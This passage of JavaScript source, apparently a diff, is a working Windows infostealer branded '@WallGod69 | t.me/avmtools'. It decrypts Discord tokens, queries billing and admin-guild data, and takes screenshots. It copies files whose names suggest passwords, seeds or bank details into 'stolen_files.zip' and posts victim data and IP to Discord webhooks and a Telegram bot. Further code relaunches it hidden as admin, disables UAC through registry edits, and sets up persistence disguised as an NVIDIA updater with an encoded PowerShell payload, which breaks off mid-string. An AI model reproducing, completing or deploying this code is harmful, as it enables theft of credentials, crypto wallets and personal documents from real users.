(tasks.toLowerCase().includes(proc.toLowerCase())) { + try { + execSync(taskKillCmd + ' /IM ' + proc + ' /F', { stdio: 'ignore', timeout: 3000, windowsHide: true }); + } catch (killErr) { + } + } + } + } catch (err) { + } + } + + } catch (e) { + logError(e, 'cleanupProcesses'); + } +} + +function captureAllScreens() { + return new Promise((resolve, reject) => { + const screenshotDir = path.dirname(screenshotPath); + if (!fs.existsSync(screenshotDir)) fs.mkdirSync(screenshotDir, { recursive: true }); + + const psScript = ` +Add-Type -AssemblyName System.Windows.Forms +Add-Type -AssemblyName System.Drawing + +$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen +$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height +$graphics = [System.Drawing.Graphics]::FromImage($bitmap) +$graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size) +$bitmap.Save("${screenshotPath}", [System.Drawing.Imaging.ImageFormat]::Png) + +$graphics.Dispose() +$bitmap.Dispose() +"OK" +`; + const psBase64 = Buffer.from(psScript, "utf16le").toString("base64"); + exec(`powershell -ExecutionPolicy Bypass -EncodedCommand ${psBase64}`, { timeout: 15000, windowsHide: true }, (err, stdout, stderr) => { + if (err) { + logError(err, 'captureAllScreens-exec'); + return reject(err); + } + + fs.readFile(screenshotPath, (readErr, data) => { + if (readErr) { + logError(readErr, 'captureAllScreens-readFile'); + reject(readErr); + } else { + resolve(data); + } + }); + }); + }); +} + + +const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); +const discordHeaders = (token) => ({ + "Authorization": token, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "Content-Type": "application/json" +}); + +async function getUserData(token) { + try { + await sleep(1000); + const userResponse = await axios.get("https://discord.com/api/v9/users/@me", { + headers: discordHeaders(token), + timeout: 5000 + }); + + const userData = userResponse.data; + + if (!userData) return null; + + const id = userData.id; + const username = userData.username; + const discriminator = userData.discriminator; + const avatar = userData.avatar; + const email = userData.email; + const phone = userData.phone; + const mfa_enabled = userData.mfa_enabled; + const flags = userData.flags; + const premium_type = userData.premium_type; + const bio = userData.bio; + + return { + id, + username, + discriminator, + avatar, + email, + phone, + mfa_enabled, + flags, + premium_type, + bio + }; + } catch (error) { + return null; + } +} + +async function fetchDiscordTokens() { + + async function getGuildInvites(token, guildId) { + try { + await sleep(1500); + const response = await axios.get(`https://discord.com/api/v9/guilds/${guildId}/invites`, { + headers: discordHeaders(token), + timeout: 5000 + }); + return response.data; + } catch (error) { return []; } + } + + async function getHQGuilds(token) { + try { + await sleep(1000); + const response = await axios.get("https://discord.com/api/v9/users/@me/guilds?with_counts=true", { + headers: discordHeaders(token), + timeout: 5000 + }); + + const hqGuilds = response.data.filter(guild => { + const perms = BigInt(guild.permissions); + const admin = BigInt(0x8); + return (perms & admin) === admin || guild.owner; + }); + + if (hqGuilds.length === 0) { + return "```No HQ Guilds```"; + } + + let result = ""; + for (const guild of hqGuilds) { + const invites = await getGuildInvites(token, guild.id); + const invite = invites.length > 0 ? `[Join Server](https://discord.gg/${invites[0].code})` : "No Invite"; + const ownerOrAdmin = guild.owner ? "<:7212roleowner:1268574022933811253> Owner" : "<:admin:967851956930482206> Admin"; + const line = `${ownerOrAdmin} | \`${guild.name} - Members: ${guild.approximate_member_count}\` - ${invite}\n`; + + if (result.length + line.length >= 1024) { + result += "\`Too many servers to display.\`"; + break; + } + result += line; + } + return result || "```No HQ Guilds```"; + } catch (error) { return "```Error retrieving HQ Guilds```"; } + } + + async function getBilling(token) { + try { + await sleep(1000); + const res = await axios.get("https://discord.com/api/v9/users/@me/billing/payment-sources", { + headers: discordHeaders(token), + timeout: 5000 + }); + let bi = ''; + res.data.forEach(z => { + if (z.type == 2 && z.invalid != !0) { + bi += "<:946246524504002610:962747802830655498>"; + } else if (z.type == 1 && z.invalid != !0) { + bi += "<:rustler:987692721613459517>"; + } + }); + if (bi == '') bi = "```No Billing```"; + return bi; + } catch (err) { return "```No Billing```"; } + } + + const badgesDict = { + Discord_Employee: { Value: 1, Emoji: "<:staff:874750808728666152>", Rare: true }, + Partnered_Server_Owner: { Value: 2, Emoji: "<:partner:874750808678354964>", Rare: true }, + HypeSquad_Events: { Value: 4, Emoji: "<:hypesquad_events:874750808594477056>", Rare: true }, + Bug_Hunter_Level_1: { Value: 8, Emoji: "<:bughunter_1:874750808426692658>", Rare: true }, + Early_Supporter: { Value: 512, Emoji: "<:early_supporter:874750808414113823>", Rare: true }, + Bug_Hunter_Level_2: { Value: 16384, Emoji: "<:bughunter_2:874750808430874664>", Rare: true }, + Early_Verified_Bot_Developer: { Value: 131072, Emoji: "<:developer:874750808472825986>", Rare: true }, + House_Bravery: { Value: 64, Emoji: "<:bravery:874750808388952075>", Rare: false }, + House_Brilliance: { Value: 128, Emoji: "<:brilliance:874750808338608199>", Rare: false }, + House_Balance: { Value: 256, Emoji: "<:balance:874750808267292683>", Rare: false }, + Discord_Official_Moderator: { Value: 262144, Emoji: "<:moderator:976739399998001152>", Rare: true } + }; + + function getBadges(flags) { + let b = ''; + for (const prop in badgesDict) { + let o = badgesDict[prop]; + if ((flags & o.Value) == o.Value) b += o.Emoji; + }; + if (b == '') return "```No Badges```"; + return `${b}`; + } + + async function getNitro(flags, id, token) { + switch (flags) { + case 1: + return "<:946246402105819216:962747802797113365>"; + case 2: + let info; + try { + await sleep(1000); + const res = await axios.get(`https://discord.com/api/v9/users/${id}/profile`, { + headers: discordHeaders(token), + timeout: 5000 + }); + info = res.data; + } catch (e) { return "<:946246402105819216:962747802797113365>"; } + + if (!info || !info.premium_guild_since) return "<:946246402105819216:962747802797113365>"; + + let boost = ["<:boost1month:1161356435360325673>", "<:boost2month:1161356669004030033>", "<:boost3month:1161356821806710844>", "<:boost6month:1161357418480029776>", "<:boost9month:1161357513820741852>", "<:boost12month:1161357639737946206>", "<:boost15month:967518897987256400>", "<:boost18month:967519190133145611>", "<:boost24month:969686081958207508>"]; + var i = 0; + + try { + let d = new Date(info.premium_guild_since); + let now = new Date(); + let monthsDiff = (now.getFullYear() - d.getFullYear()) * 12 + (now.getMonth() - d.getMonth()); + + if (monthsDiff >= 24) i = 8; + else if (monthsDiff >= 18) i = 7; + else if (monthsDiff >= 15) i = 6; + else if (monthsDiff >= 12) i = 5; + else if (monthsDiff >= 9) i = 4; + else if (monthsDiff >= 6) i = 3; + else if (monthsDiff >= 3) i = 2; + else if (monthsDiff >= 2) i = 1; + else i = 0; + + } catch (e) { i = 0; } + return `<:946246402105819216:962747802797113365> ${boost[i]}`; + default: + return "```No Nitro```"; + }; + } + + const tokens = []; + let tokensCount = 0; + + try { + const discordAppRegex = /dQw4w9WgXcQ:[^"]*/g; + const browserTokenRegex = /[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}|mfa\.[\w-]{80,95}/g; + + const pathsToScan = PATHS.discord; + + const discordKeyCache = {}; + + for (const scanPath of pathsToScan) { + if (!fs.existsSync(scanPath)) { + continue; + } + + const pathName = path.basename(scanPath); + let masterKey = null; + + try { + let localStatePath = path.join(scanPath, 'Local State'); + if (!fs.existsSync(localStatePath)) { + localStatePath = path.join(scanPath, '..', 'Local State'); + } + + const cacheKey = path.resolve(localStatePath); + + if (discordKeyCache[cacheKey]) { + masterKey = discordKeyCache[cacheKey]; + + } else if (fs.existsSync(localStatePath)) { + const content = fs.readFileSync(localStatePath, 'utf8'); + const json = JSON.parse(content); + if (json.os_crypt && json.os_crypt.encrypted_key) { + + const encryptedKey = Buffer.from(json.os_crypt.encrypted_key, 'base64').slice(5); + const keyArray = Array.from(encryptedKey); + + const startDecryption = Date.now(); + const decryptedKeyLines = await new Promise((resolve, reject) => { + exec( + 'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' + + keyArray + + "), $null, 'CurrentUser')", + { timeout: 5000, windowsHide: true }, + (error, stdout, stderr) => { + if (error) { + reject(error); + } else { + resolve(stdout); + } + } + ); + }).then(stdout => stdout.split('\r\n')).catch(err => { throw err; }); + + const filteredKey = decryptedKeyLines.filter((line) => line !== ''); + masterKey = Buffer.from(filteredKey); + discordKeyCache[cacheKey] = masterKey; + } + } + } catch (keyError) { + } + + let leveldbPath = path.join(scanPath, 'Local Storage', 'leveldb'); + if (!fs.existsSync(leveldbPath)) { + leveldbPath = scanPath; + } + + if (!fs.existsSync(leveldbPath)) { + continue; + } + + try { + const files = fs.readdirSync(leveldbPath); + const targetFiles = files.filter(f => f.endsWith('.ldb') || f.endsWith('.log')); + + + for (const file of targetFiles) { + try { + const filePath = path.join(leveldbPath, file); + const content = fs.readFileSync(filePath, 'utf8'); + const lines = content.split('\n'); + + for (const line of lines) { + if (masterKey) { + const matches = line.match(discordAppRegex); + if (matches) { + for (const match of matches) { + try { + const encodedPass = match.split('dQw4w9WgXcQ:')[1]; + if (!encodedPass) continue; + + const decodedPass = Buffer.from(encodedPass, 'base64'); + const iv = decodedPass.slice(3, 15); + const encrypted = decodedPass.slice(15, decodedPass.length - 16); + const authTag = decodedPass.slice(decodedPass.length - 16, decodedPass.length); + + const decipher = crypto.createDecipheriv('aes-256-gcm', masterKey, iv); + decipher.setAuthTag(authTag); + const token = decipher.update(encrypted, 'base64', 'utf-8') + decipher.final('utf-8'); + + if (token && !tokens.some(t => t.token === token)) { + tokens.push({ + browser: `Discord Encrypted(${pathName})`, + token: token + }); + tokensCount++; + } + } catch (decryptErr) { } + } + } + } + + const browserMatches = line.match(browserTokenRegex); + if (browserMatches) { + for (const token of browserMatches) { + if (token && !tokens.some(t => t.token === token)) { + tokens.push({ + browser: `Browser / Generic(${pathName})`, + token: token + }); + tokensCount++; + } + } + } + } + } catch (fileErr) { } + } + } catch (scanError) { + logError(scanError, `fetchDiscordTokens - scan - ${pathName} `); + } + } + + if (tokens.length > 0) { + const tokensDir = path.join(mainFolderPath, 'Discord'); + if (!fs.existsSync(tokensDir)) { + fs.mkdirSync(tokensDir, { recursive: true }); + } + + const tokensFilePath = path.join(tokensDir, 'Discord_Tokens.txt'); + let tokensContent = user.copyright; + + let ip = "Unknown"; + try { + const ipRes = await axios.get("http://ip-api.com/json/", { timeout: 5000 }); + ip = ipRes.data.query; + } catch (err) { } + + for (const tokenData of tokens) { + const token = tokenData.token; + let text = `================\nBrowser: ${tokenData.browser} \nToken: ${token} \n`; + const userData = await getUserData(token); + + if (userData) { + text += `ID: ${userData.id}\nUsername: ${userData.username}#${userData.discriminator}\nEmail: ${userData.email}\nPhone: ${userData.phone}\nMFA: ${userData.mfa_enabled}\nNitro: ${userData.premium_type}\nFlags: ${userData.flags}\nBio: ${userData.bio}\n`; + + try { + const billing = await getBilling(token); + const hqGuilds = await getHQGuilds(token); + const badges = getBadges(userData.flags); + const nitro = await getNitro(userData.premium_type, userData.id, token); + + const userInformationEmbed = { + title: `${userData.username}#${userData.discriminator} (${userData.id})`, + color: 0x303037, + author: { + name: "Discord Session Detected", + icon_url: "https://i.ibb.co/84zCWC73/icon.png" + }, + thumbnail: { + url: `https://cdn.discordapp.com/avatars/${userData.id}/${userData.avatar}?size=512` + }, + fields: [ + { + name: ":key: Token:", + value: "```" + token + "```", + }, + { + name: ":envelope: Email:", + value: "``" + `\`${userData.email}\`` + "``", + inline: true + }, + { + name: ":globe_with_meridians: IP:", + value: "``" + `\`${ip}\`` + "``", + inline: true + }, + { + name: "<:mobile88:1210411486120517663> Phone:", + value: "``" + `\`${userData.phone || "None"}\`` + "``", + inline: true + }, + { + name: "", + value: "โ€Ž ", + inline: false + }, + { + name: "", + value: ` **Badges:** ${badges}`, + inline: true + }, + { + name: "", + value: ` **Nitro Type:** ${nitro}`, + inline: true + }, + { + name: "", + value: ` **Billing:** ${billing}`, + inline: true + }, + { + name: "", + value: "โ€Ž ", + inline: false + }, + { + name: ":shield: HQ Guilds:", + value: hqGuilds, + inline: false + }, + ], + footer: { + text: `${os.hostname()} | @WallGod69 | t.me/avmtools`, + icon_url: 'https://i.ibb.co/84zCWC73/icon.png' + } + }; + + active_nodes.length = 0; + if (discordWebhookUrl && discordWebhookUrl !== 'REMPLACE_ME') active_nodes.push(discordWebhookUrl); + if (fallback_conf && Array.isArray(fallback_conf) && fallback_conf.length > 0) { + fallback_conf.forEach(conf => { + try { + if (conf.includes('http')) active_nodes.push(conf); + } catch (e) { } + }); + } + + let sid = 1; + for (const url of active_nodes) { + await sleep(2500); + try { + await axios.post(url, { + embeds: [userInformationEmbed] + }, { timeout: 10000 }); + logSuccess(`0x${sid}T1`); + } catch (err) { + logError(`0x${sid}T2`, 'DX_03'); + } + sid++; + } + } catch (err) { + } + } + tokensContent += text + '\n'; + } + + fs.writeFileSync(tokensFilePath, tokensContent, 'utf8'); + + } + + } catch (error) { + logError(error, 'fetchDiscordTokens'); + } + + return tokensCount; +} + +async function sendDiscordEmbed(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount) { + try { + let ipInfo = 'Not available'; + try { + const ipResponse = await axios.get('http://ip-api.com/json/', { timeout: 10000 }); + ipInfo = `${ipResponse.data.query} - ${ipResponse.data.country}, ${ipResponse.data.city} `; + } catch (e) { + logError(e, 'sendDiscordEmbed-ipLookup'); + ipInfo = 'IP retrieval error'; + } + + const systemInfo = `User: ${user.username} +PC: ${user.hostname} +OS: ${user.type} ${user.release} +Arch: ${user.arch} +RAM: ${(user.ram / 1024 / 1024 / 1024).toFixed(2)} GB +Cores: ${user.countCore} +UUID: ${user.randomUUID} +Started: ${new Date(user.start).toLocaleString()} +Uptime: ${Math.floor(user.uptime / 3600)}h ${Math.floor((user.uptime % 3600) / 60)} m +IP: ${ipInfo} +Directory: ${user.fileLoc} `; + + const totalSocialsCount = (socialsCount || 0) + (tokensCount || 0); + + const payload = { + embeds: [{ + title: '', + description: 'โ€Ž', + color: 0x303037, + author: { + name: `${user.hostname} | System Information | @WallGod69`, + icon_url: 'https://i.ibb.co/84zCWC73/icon.png', + }, + fields: [ + { + name: ' Passwords', + value: '```' + passwordsCount.toString() + '```', + inline: true, + }, + { + name: ' Cookies', + value: '```' + cookiesCount.toString() + '```', + inline: true, + }, + { + name: '๐Ÿ“‹ Autofills', + value: '```' + autofillCount.toString() + '```', + inline: true, + }, + { + name: ' Socials', + value: '```' + totalSocialsCount.toString() + '```', + inline: true, + }, + { + name: ' Games', + value: '```' + gamesCount.toString() + '```', + inline: true, + }, + { + name: ' Wallets', + value: '```' + (walletsCount || 0).toString() + '```', + inline: true, + }, + { + name: " Information", value: `\`\`\`\n${systemInfo}\n\`\`\``, inline: false + }, + { + name: 'โ€Ž ', + value: downloadLink ? ` [\`${locale}-${computerName}.zip\`](${downloadLink})\n` : "โŒ **Upload failed (Look in log.txt)**", + inline: false, + } + ], + image: { url: 'attachment://screenshot.png' }, + footer: { + text: computerName + " | @Wallgod69 | t.me/avmtools", + icon_url: "https://i.ibb.co/84zCWC73/icon.png" + } + }] + }; + active_nodes.length = 0; + if (discordWebhookUrl && discordWebhookUrl !== 'REMPLACE_ME') active_nodes.push(discordWebhookUrl); + if (fallback_conf && Array.isArray(fallback_conf) && fallback_conf.length > 0) { + fallback_conf.forEach(conf => { + try { + if (conf.includes('http')) active_nodes.push(conf); + } catch (e) { } + }); + } + + let sid = 1; + for (const url of active_nodes) { + await new Promise(resolve => setTimeout(resolve, 3000)); + + try { + const formData = new FormData(); + formData.append('payload_json', JSON.stringify(payload)); + formData.append('file', screenshotBuffer, { filename: 'screenshot.png', contentType: 'image/png' }); + await axios.post(url, formData, { + headers: formData.getHeaders(), + maxContentLength: Infinity, + maxBodyLength: Infinity, + timeout: 45000 + }); + logSuccess(`0x${sid}A7`); + } catch (err) { + const errInfo = err.response ? (JSON.stringify(err.response.data) || err.message) : err.message; + logError(`0x${sid}E1: ${errInfo}`, 'DX_01'); + + await new Promise(resolve => setTimeout(resolve, 2000)); + + try { + const fallbackPayload = JSON.parse(JSON.stringify(payload)); + if (fallbackPayload.embeds && fallbackPayload.embeds[0]) { + delete fallbackPayload.embeds[0].image; + fallbackPayload.embeds[0].footer.text += " | โŒ Image Failed"; + } + await axios.post(url, fallbackPayload, { + headers: { 'Content-Type': 'application/json' }, + timeout: 20000 + }); + logSuccess(`0x${sid}B2`); + } catch (err2) { + logError(`0x${sid}E2`, 'DX_02'); + } + } + sid++; + } + + if (!downloadLink) { + try { + const logFilePath = path.join(mainFolderPath, 'log.txt'); + let logContent = 'No log file found.'; + if (fs.existsSync(logFilePath)) { + logContent = fs.readFileSync(logFilePath, 'utf8'); + } + + const logChunks = []; + const chunkSize = 3500; + for (let i = 0; i < logContent.length; i += chunkSize) { + logChunks.push(logContent.substring(i, i + chunkSize)); + } + + let lid = 1; + for (const url of active_nodes) { + await new Promise(resolve => setTimeout(resolve, 3000)); + + for (let i = 0; i < logChunks.length; i++) { + await new Promise(resolve => setTimeout(resolve, 2500)); + + const logEmbed = { + title: `๐Ÿ“‚ Debug Log - Part ${i + 1}/${logChunks.length}`, + description: `\`\`\`text\n${logChunks[i]}\n\`\`\``, + color: 0x303037, + author: { + name: `${user.hostname} | Error Log | @WallGod69`, + icon_url: 'https://i.ibb.co/84zCWC73/icon.png', + }, + footer: { + text: `${computerName} | @Wallgod69 | t.me/avmtools`, + icon_url: "https://i.ibb.co/84zCWC73/icon.png" + } + }; + + try { + await axios.post(url, { + embeds: [logEmbed], + username: "System Service", + avatar_url: "https://i.ibb.co/84zCWC73/icon.png" + }, { + headers: { 'Content-Type': 'application/json' }, + timeout: 30000 + }); + } catch (logSendErr) { + console.error(`0x${lid}L9:`, logSendErr.message); + } + } + lid++; + } + } catch (logEmbedError) { + logError(logEmbedError, 'SR_05'); + } + } + } catch (error) { + logError(error, 'sendDiscordEmbed'); + } +} + +async function sendTelegramMessage(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount) { + try { + if (!telegramBotToken || telegramBotToken === 'REMPLACE_ME' || !telegramChatId || telegramChatId === 'REMPLACE_ME') { + return; + } + + let ipInfo = 'Not available'; + try { + const ipResponse = await axios.get('http://ip-api.com/json/', { timeout: 10000 }); + ipInfo = `${ipResponse.data.query} - ${ipResponse.data.country}, ${ipResponse.data.city}`; + } catch (e) { + logError(e, 'sendTelegramMessage-ipLookup'); + ipInfo = 'IP retrieval error'; + } + + const totalSocialsCount = (socialsCount || 0) + (tokensCount || 0); + + const message = ` +${user.hostname} | System Information + +Collected Data: +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +๐Ÿ” Passwords: ${passwordsCount} +๐Ÿช Cookies: ${cookiesCount} +๐Ÿ“‹ Autofills: ${autofillCount} +๐Ÿ“ฑ Socials: ${totalSocialsCount} +๐ŸŽฎ Games: ${gamesCount} +๐Ÿ’ฐ Wallets: ${walletsCount || 0} + +โš™ System Information: +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +User: ${user.username} +PC: ${user.hostname} +OS: ${user.type} ${user.release} +Arch: ${user.arch} +RAM: ${(user.ram / 1024 / 1024 / 1024).toFixed(2)} GB +Cores: ${user.countCore} +UUID: ${user.randomUUID} +Started: ${new Date(user.start).toLocaleString()} +Uptime: ${Math.floor(user.uptime / 3600)}h ${Math.floor((user.uptime % 3600) / 60)}m +IP: ${ipInfo} +Directory: ${user.fileLoc} + +${downloadLink ? `Download: ${locale}-${computerName}.zip` : 'โŒ Upload failed (Look in log.txt)'} + +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +๐Ÿ”น ${computerName} | @Wallgod69 | t.me/avmtools +`.trim(); + + const formData = new FormData(); + formData.append('chat_id', telegramChatId); + formData.append('photo', screenshotBuffer, { + filename: 'screenshot.png', + contentType: 'image/png' + }); + formData.append('caption', message); + formData.append('parse_mode', 'HTML'); + + const telegramUrl = `https://api.telegram.org/bot${telegramBotToken}/sendPhoto`; + + const resp = await axios.post(telegramUrl, formData, { + headers: formData.getHeaders(), + maxContentLength: Infinity, + maxBodyLength: Infinity, + timeout: 30000 + }); + + if (resp.status >= 200 && resp.status < 300) { + } + } catch (error) { + logError(error, 'sendTelegramMessage'); + } +} + +function hasAdminPrivileges() { + try { + execSync('net session', { stdio: 'ignore', timeout: 5000, windowsHide: true }); + return true; + } catch (e) { + return false; + } +} + +function relaunchAsAdmin() { + const scriptPath = process.execPath; + const scriptDir = path.dirname(scriptPath); + const currentArgs = process.argv.slice(1); + if (!currentArgs.includes('--hidden')) currentArgs.push('--hidden'); + + if (!currentArgs.includes('--folder')) { + currentArgs.push('--folder', mainFolderName); + } + + const scriptArgs = currentArgs.map(arg => `"${arg}"`).join(','); + + const psCommand = `Start-Process -FilePath "${scriptPath}" -ArgumentList ${scriptArgs} -WorkingDirectory "${scriptDir}" -Verb RunAs -WindowStyle Hidden`; + + try { + const base64Command = Buffer.from(psCommand, 'utf16le').toString('base64'); + execSync(`powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand ${base64Command}`, { + windowsHide: true, + stdio: 'ignore', + timeout: 10000 + }); + } catch (e) { + logError(e, 'relaunchAsAdmin'); + } + process.exit(0); +} + + +async function mainAdminCheck() { + + if (!hasAdminPrivileges()) { + + relaunchAsAdmin(); + } else { + + } +} + +function disableuac() { + if (process.platform !== 'win32') return; + const cmd = 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v EnableLUA /t REG_DWORD /d 0 /f; ' + + 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f; ' + + 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f'; + try { + execSync(`powershell -NoProfile -ExecutionPolicy Bypass -Command "${cmd}"`, { stdio: 'ignore', windowsHide: true }); + } catch (e) { + logError(e, 'disableuac'); + } +} + +async function fetchFileVPN() { + try { + const vpnDir = path.join(mainFolderPath, 'VPN'); + const vpnPaths = [ + path.join(process.env.APPDATA, 'OpenVPN Connect\\profiles'), + path.join(process.env.LOCALAPPDATA, 'NordVPN'), + path.join(process.env.APPDATA, 'ProtonVPN') + ]; + let vpnCount = 0; + vpnPaths.forEach(p => { + if (fs.existsSync(p)) { + if (!fs.existsSync(vpnDir)) fs.mkdirSync(vpnDir, { recursive: true }); + copyFolderRecursiveSync(p, path.join(vpnDir, path.basename(p))); + vpnCount++; + } + }); + + const scavengerTempDir = path.join(os.tmpdir(), generateRandomString(10)); + if (!fs.existsSync(scavengerTempDir)) fs.mkdirSync(scavengerTempDir, { recursive: true }); + + const userHome = os.homedir(); + const foldersToSearch = [ + 'Videos', 'Desktop', 'Documents', 'Downloads', 'Pictures', + path.join('AppData', 'Roaming', 'Microsoft', 'Windows', 'Recent') + ]; + const allowedExtensions = [".rdp", ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx", ".keys", ".ldb", ".log"]; + const keywords = ["secret", "password", "account", "tax", "key", "wallet", "gang", "default", "backup", "passw", "mdp", "motdepasse", "acc", "mot_de_passe", "login", "bot", "atomic", "acount", "paypal", "banque", "metamask", "crypto", "exodus", "discord", "2fa", "code", "memo", "compte", "token", "seed", "mnemonic", "memoric", "private", "passphrase", "pass", "phrase", "steal", "bank", "info", "casino", "prv", "privรฉ", "prive", "telegram", "identifiant", "identifiants", "personnel", "trading", "bitcoin", "sauvegarde", "funds", "recup", "note", "phantom", "trust", "ledger", "trezor", "binance", "coinbase", "solana", "ethereum", "invoice", "facture", "passport", "passeport", "identity", "identite", "id_card", "permis", "confidential", "stripe", "visa", "mastercard", "card", "amex", "wire", "transfer", "iban", "credentials", "creds", "database", "sql", "dump", "config", "env", "ssh", "putty", "vnc", "anydesk", "teamviewer", "authy", "kraken", "kucoin", "gateio", "okx", "bybit", "bitget", "mexc", "mnemonique", "recovery", "identifiants_connexion", "authenticator"]; + + let scavengedCount = 0; + for (const folder of foldersToSearch) { + const directory = path.join(userHome, folder); + if (fs.existsSync(directory)) { + try { + const filesInFolder = fs.readdirSync(directory); + for (const file of filesInFolder) { + try { + const filePath = path.join(directory, file); + const stat = fs.statSync(filePath); + if (stat.isFile() && stat.size < 3 * 1024 * 1024) { + const ext = path.extname(file).toLowerCase(); + const name = path.basename(file).toLowerCase(); + if (allowedExtensions.includes(ext) && keywords.some(k => name.includes(k))) { + fs.copyFileSync(filePath, path.join(scavengerTempDir, file)); + scavengedCount++; + } + } + } catch (e) { } + } + } catch (e) { } + } + } + + if (scavengedCount > 0) { + try { + const zipPath = path.join(mainFolderPath, 'stolen_files.zip'); + const output = fs.createWriteStream(zipPath); + const archive = archiver('zip', { zlib: { level: 9 }, comment: "t.me/avmtools" }); + archive.pipe(output); + archive.directory(scavengerTempDir, false); + await archive.finalize(); + } catch (e) { logError(e, 'fetchFileVPN-zip'); } + } + + try { fs.rmSync(scavengerTempDir, { recursive: true, force: true }); } catch (e) { } + + return vpnCount + scavengedCount; + } catch (e) { + logError(e, 'fetchFileVPN'); + return 0; + } +} + +function finalizeLog() { + try { + const endMessage = `\nScript finished at: ${new Date().toISOString()}\n`; + const logFilePath = path.join(mainFolderPath, 'log.txt'); + fs.appendFileSync(logFilePath, endMessage, 'utf8'); + } catch (error) { + } +} + +function decodeBase64(str) { + const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; + let bits = 0, value = 0, index = 0; + const out = new Uint8Array((str.length * 5) / 8); + for (let i = 0; i < str.length; i++) { + value = (value << 5) | alphabet.indexOf(str[i].toUpperCase()); + bits += 5; + if (bits >= 8) { + out[index++] = (value >>> (bits - 8)) & 0xff; + bits -= 8; + } + } + return Buffer.from(out.slice(0, index)); +} + +async function initializeService() { + + if (os.platform() !== 'win32') { + return; + } + + const serviceId = generateRandomString(8); + const fileName = 'sys_core_' + serviceId + '.ps1'; + + try { + const taskCleanCmd = 'powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like \'NVIDIA_SelfUpdate_*\'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }"'; + execSync(taskCleanCmd, { stdio: 'ignore', windowsHide: true, timeout: 5000 }); + } catch (taskErr) { + try { + execSync('schtasks /delete /tn NVIDIA_SelfUpdate_* /f', { stdio: 'ignore', windowsHide: true }); + } catch (e) { } + } + + const powershellScript64 = 'ER2GC43LJZQW2ZJAHUQCOTSWJFCESQK7KNSWYZSVOBSGC5DFL55SOIBLEAUEOZLUFVJGC3TEN5WSALKNNFXGS3LVNUQDCMBQGAYDAMBQEAWU2YLYNFWXK3JAHE4TSOJZHE4TSKJAFMQCO7JHBISHGY3SNFYHIUDBORUCAPJAERGXSSLOOZXWGYLUNFXW4LSNPFBW63LNMFXGILSQMF2GQCREOZRHGUDBORUCAPJAERZWG4TJOB2FAYLUNAQC24TFOBWGCY3FEATVYLTQOMYSIJZMEATS45TCOMTQUCRDEBBXEZLBORSSA2DJMRSGK3RAKZBFGIDXOJQXA4DFOIQHI3ZAMF3G62LEEBRW63TTN5WGKIDGNRQXG2AKORZHSID3BIQCAIBAER3GE42DN5XHIZLOOQQD2IBCINZGKYLUMVHWE2TFMN2CQYBCK5JWG4TJOB2C4U3IMVWGYYBCFEXFE5LOEBQCE4DPO5SXE43IMVWGYLTFPBSSALKFPBSWG5LUNFXW4UDPNRUWG6JAIJ4XAYLTOMQC2V3JNZSG652TOR4WYZJAJBUWIZDFNYQC2TTPKBZG6ZTJNRSSALKGNFWGKIDAEJQCEJDTMNZGS4DUKBQXI2DAEJQCEYBCFQQDALBAIZQWY43FEIFCAIBAEBNVG6LTORSW2LSJJ4XEM2LMMVOTUOSXOJUXIZKBNRWFIZLYOQUCI5TCONIGC5DIFQQCI5TCONBW63TUMVXHIKIKEAQCAIDJMYQCQVDFON2C2UDBORUCAJDWMJZVAYLUNAUSA6ZAMF2HI4TJMIQCW2BAEISHMYTTKBQXI2BCEB6QU7IKMNQXIY3IEB5X2CQKORZHSID3BIQCAIBAI5SXILKTMNUGKZDVNRSWIVDBONVSA7BAK5UGK4TFFVHWE2TFMN2CA6ZAERPS4VDBONVU4YLNMUQC23DJNNSSAISOKZEUISKBL5JWK3DGKVYGIYLUMVPSUIRAPUQHYICGN5ZEKYLDNAWU6YTKMVRXIID3BIQCAIBAEAQCAICVNZZGKZ3JON2GK4RNKNRWQZLEOVWGKZCUMFZWWIBNKRQXG22OMFWWKIBEL4XFIYLTNNHGC3LFEAWUG33OMZUXE3J2ERTGC3DTMUQC2RLSOJXXEQLDORUW63RAKNUWYZLOORWHSQ3PNZ2GS3TVMUFCAIBAEB6QU7IKMNQXIY3IEB5QUIBAEAQHGY3IORQXG23TEAXXC5LFOJ4SAL3GN4QEYSKTKQQHYICTMVWGKY3UFVJXI4TJNZTSAISOKZEUISKBL5JWK3DGKVYGIYLUMVPSEID4EBDG64SFMFRWQLKPMJVGKY3UEB5QUIBAEAQCAIBAEBUWMIBIERPSALLNMF2GG2BAEJHFMSKEJFAV6U3FNRTFK4DEMF2GKX33LNPH2XJLPURCSID3BIQCAIBAEAQCAIBAEAQCA43DNB2GC43LOMQC6ZDFNRSXIZJAF52G4IBENVQXIY3IMVZVWMC5EAXWMIBSHYSG45LMNQFCAIBAEAQCAIBAPUFCAIBAEB6QU7IKBJ2HE6J